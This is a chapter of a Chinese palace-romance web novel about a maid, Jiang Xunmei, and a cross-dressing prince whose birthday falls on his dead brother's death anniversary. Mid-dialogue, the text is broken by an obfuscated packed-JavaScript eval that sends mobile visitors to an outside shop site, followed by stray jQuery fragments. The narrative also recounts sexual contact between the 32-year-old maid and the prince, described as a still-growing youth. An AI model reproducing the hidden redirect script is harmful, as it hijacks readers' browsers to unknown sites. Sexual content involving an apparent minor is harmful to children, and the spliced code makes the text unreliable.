一位宫女灰溜溜地被赶了出来,似乎吓得不轻,走在廊上魂都没了。
小枝关心了几句,那宫女勉力笑笑,说了句没事,便去干别的事了。
“殿下这几日脾气不大好,见谁都发火。昨天早上晚芊为殿下梳头,只是稍微用了点力,就被殿下骂哭了。”小枝朝并肩而行的姜寻梅说道,“还以为你来了之后,殿下就变了呢,谁知才过几天,就……”
姜寻梅尴尬地笑笑。她当然是知道怎么回事,毕竟她就是那个惹得殿下大怒不止的罪魁祸首。但这事又不是方便说出来的,所以她只能沉默。
“话说回来,你最近做了什么吗?我看之前殿下都要你陪着睡的,怎么这几天你被赶到外间去了?”
姜寻梅答道:“我想要离开永和宫,但殿下不让,同我起了些争执。”
“留在这不好吗?你出去,天天都是做些粗活累活,留在这里伺候公主总要轻松些吧?而且偶尔公主心情好点,赏赐得可大方了!”
可并不轻松,伴君如伴虎,姜寻梅觉得这位殿下比老虎还可怕,上一刻还在笑嘻嘻的同她说话,下一刻就冷冰冰地瞪着她,咬牙切齿地喊她名字。
还会对她做些荒唐事,姜寻梅光是想想自己做了什么就觉得脸红心跳。她起先以为殿下是女子才一再心软包容,想着女子之间也没什么关系,但知道他是男子后,这感觉就大不一样了。
其中也有慕添安蒙骗的意味在,一点一点地诱她上钩。所以当姜寻梅清醒过来时,觉得很可笑,她笑自己从头到尾都被人当成笑话看,慕添安把她的糟糕模样全都看到了,怪不得会说出那样的话,连姜寻梅自己都觉得自己没什么可看的。
姜寻梅闭了闭眼,极力想把这些乱七八糟的东西清出脑子。
但还是忍不住想起,知道殿下真实性别的那刻,她有多么震惊。殿下生得一副面若好女的美人胚,声音腔调都听不出来一点不对劲,撒起娇来让姜寻梅觉得就像是邻家妹妹一般,怎么最后会是个男子?
到底是为什么?这永和宫的人都知道吗,为什么要把一个男子唤为公主呢?还是她们都不知道?如果不知道,姜寻梅此刻问出来的话,会不会对殿下不利?可是为什么殿下要扮成女子呢……
等等,既然殿下拿沈虞威胁她,那她是不是可以拿这个威胁殿下?她就说要把殿下男扮女装的事泄露出去,看殿下是何反应。
……一定会想杀了她的。
那杀就杀吧,姜寻梅本来就没什么好怕的。能活下来她自然感激万分,可若是活下来还要经受诸多痛苦,那又有何好活,还不如死了算了。
只是顾及到沈虞,她才一再迟疑退让。
“殿下最近还格外挑食,一直在吃羊白腰、龙卵……你说殿下吃这个干什么?”
“……”姜寻梅假咳几声,“我也不知,可能殿下爱吃吧。”
这羊白腰和龙卵都是温补的东西,殿下吃这些要补什么,姜寻梅想都不愿去想。但想想又觉得殿下是否太看重这件事了,他的身子还在长,这种事也是初次体验,有些刺激总是受不住的,也不一定就是阳虚早泄。
只是殿下自己看起来难以释怀,甚至一看到她的脸就要急。急归急厌归厌,就是不许她离开永和宫,姜寻梅实在搞不懂殿下在想什么。
两人抱着晒了一天的书回到书房。下了几日的雪,今日难得天晴,所以把殿下的书拿出来晒晒。刚走到门口发现书房的门关着,小枝轻轻开了一道缝,发现殿下正在书房里,趴在案上似乎睡着了。
于是她俩放轻脚步走进去,将书一本一本放好。姜寻梅回头看了一眼慕添安,不知他怎的就在这里睡了起来,又不要人伺候,在屋子里把外袍都脱了,身上连毯子都没披。
小枝轻声道:“我去为殿下取毯子来。”
姜寻梅点了点头,等她走后才发现自己好像无事可做了,也不该留在这。可小枝前脚刚走,慕添安就醒了过来,惺忪睡眼却把她抓了个正着,然后也不说话,就那样直直盯着她看。
这是又要如何?姜寻梅也瞧不出他到底是醒了还是没醒,心中忐忑,行了个礼,小心问询:“殿下,可有什么事要交代我去办?”
慕添安仍不说话,平日里那双善睐明眸此刻似乎蒙上了一层阴霾,如同寻常阴天一般低沉寂寥。
放以往被这般盯着,姜寻梅会觉得心里发怵,但慕添安一觉醒来,右边脸颊上多了个印子,这让他看起来跟普通少年一样质朴纯粹,再没了皇室子弟那般威仪。
姜寻梅小心翼翼地走近,又唤了一声:“殿下?”声音轻得不能再轻,也不知到底是想唤醒他还是不想。
“沈虞的生辰是什么时候?”
慕添安猝不及防地开了口,令姜寻梅微微一愣,待反应过来他问了什么,又满心困惑,但还是老实答道:“回殿下,是十四天前,已经过了。”
“他喜欢吃些什么菜?”
“红烧肉、糖醋排骨、粉蒸羊肉、冰糖肘子、清蒸鲫鱼……”姜寻梅如数家珍,“甜口的他都爱吃。”
“那我喜欢吃些什么菜?”慕添安又问,语气淡淡的,听不出情绪。
姜寻梅犹豫了,这个她倒真不知道,只记得小枝告诉过她殿下喜欢吃椒盐酥和煎乳饼,至于喜欢吃的菜平时没有怎么留意过,毕竟也不是她负责殿下的日常吃食,
“我的生辰是什么时候?”见她不回答,慕添安继续问道。
这个姜寻梅更无从知道,其实这么多时日她该和小枝多了解了解的,可她就是没问,如今便也答不上来。但是她也没必要去问,因为她觉得自己不会在永和宫待太久的。
却不知殿下问这些做什么,她答不上来,他可会恼?恼了之后,又要如何待她?
正紧张得手足无措时,却迟迟未等到慕添安下一句话。姜寻梅偷偷抬眼望去,发现他早就把目光收了回去,盯着案上的书卷发呆。
吱呀一声轻响,门被从外面打开,动作很轻,是小枝取来了毯子,结果发现殿下已经醒了过来,这毯子也不知道该不该送上去了。
慕添安也在这时起身,拿起一旁放着的披风披在身上,一言不发地从姜寻梅身侧走过。
“殿下?”小枝看他这架势是要出门,连忙道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816850|208615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“奴婢已经让御膳房做了殿下爱吃的,马上就能送来,殿下先品尝一番,再出去吧……”
但是慕添安没理她。慕添安出门从不带随从,只有暗卫在暗中保护,所以事先也没人知道他要去哪。
却让小枝犯了难,蔫蔫地嘀咕道:“殿下要出宫可怎么办,今天又不能打搅娘娘……”
看殿下离去,姜寻梅总算松了口气,可同时又觉得心里某一处沉了下去。她没有多在意,问小枝:“为何今日不能打搅娘娘?”
“今日是二皇子的忌日,永和宫的宫人在这日都不敢多说话。”小枝道,“可今日又是殿下的生辰,殿下这时候出去,不知要做什么去……”
姜寻梅闻言愣住了,不敢置信地重复了一遍:“今日是殿下的生辰?”
“是啊,你也不敢相信吧,殿下刚好是在二皇子忌日出生的,当时宫中还传言,是二皇子想念娘娘,才托生回来了。”
“这是什么荒谬的传言……”姜寻梅下意识觉得不好,这样说,不就抹去了殿下的存在,只把他当做是二皇子的托生吗?以及今日居然是殿下的生辰,也让她感到一阵无法言明的揪心。
难怪殿下刚刚这么问她,她应该察觉端倪的。可这一天又如此寻常,她根本没往这方面想,一个公主、不,不对,一个皇子的生辰怎会如此寻常呢。
原来是根本无人为他庆生……这么说也不对,其实也是有的,至少小枝、这些宫女应该是知道的,却顾忌着今日还是二皇子的忌日,不能大张旗鼓,因为在淑妃娘娘心里,这忌日比生辰更重要。她只祭奠她死去的孩子,却并不祝福她还活着的孩子。
这是怎样令人痛心的事实,慕添安又是以何种心情问出那些话的呢。
姜寻梅把自己待在这里的时间记得清楚,整整十二天,但对于这位殿下,十二天才了解多少呢?她看不穿摸不透,只是慕添安要她做什么她才做,其他的她一点不关心不在乎,可慕添安明明是她的救命恩人啊。
可慕添安想要她了解他吗?他不是只想从她身上索取,那些少男初生的冲动隐秘吗?
想不明白,姜寻梅觉得很头疼。如果慕添安没有要她做那种事,亲吻她的唇、亲吻她的胸,对着她……那她还能把他当个孩子看,去关心他心疼他。可是在这一切之后,他们之间陌生又亲密的关系令姜寻梅感到无措。说陌生却亲也亲了抱也抱了,说亲密却对彼此一点不了解。
就好像她和沈虞一样,她从未搞懂过。姜寻梅不知道为什么,难道归根结底在于自己,从来没有这个年纪该有的觉悟,三十二岁了仍然像个怀春少女一样去渴望爱渴望被需要吗?
所以当慕添安抱她亲她的时候她并不反抗,她沉迷于这样的温暖,没有在沈虞身上得到,在唐元身上得到了仍觉不够,在慕添安这里嘴上说着不合适,却欲拒还迎……
“姐姐?”小枝的呼唤将她唤了回来,姜寻梅起先还以为是慕添安在喊她,因为这些时日耳边萦绕的,全是慕添安一声又一声的“姐姐”。
姜寻梅心里轻颤,总觉得有涟漪被风吹开,难以止息,一圈又一圈地扩散开来。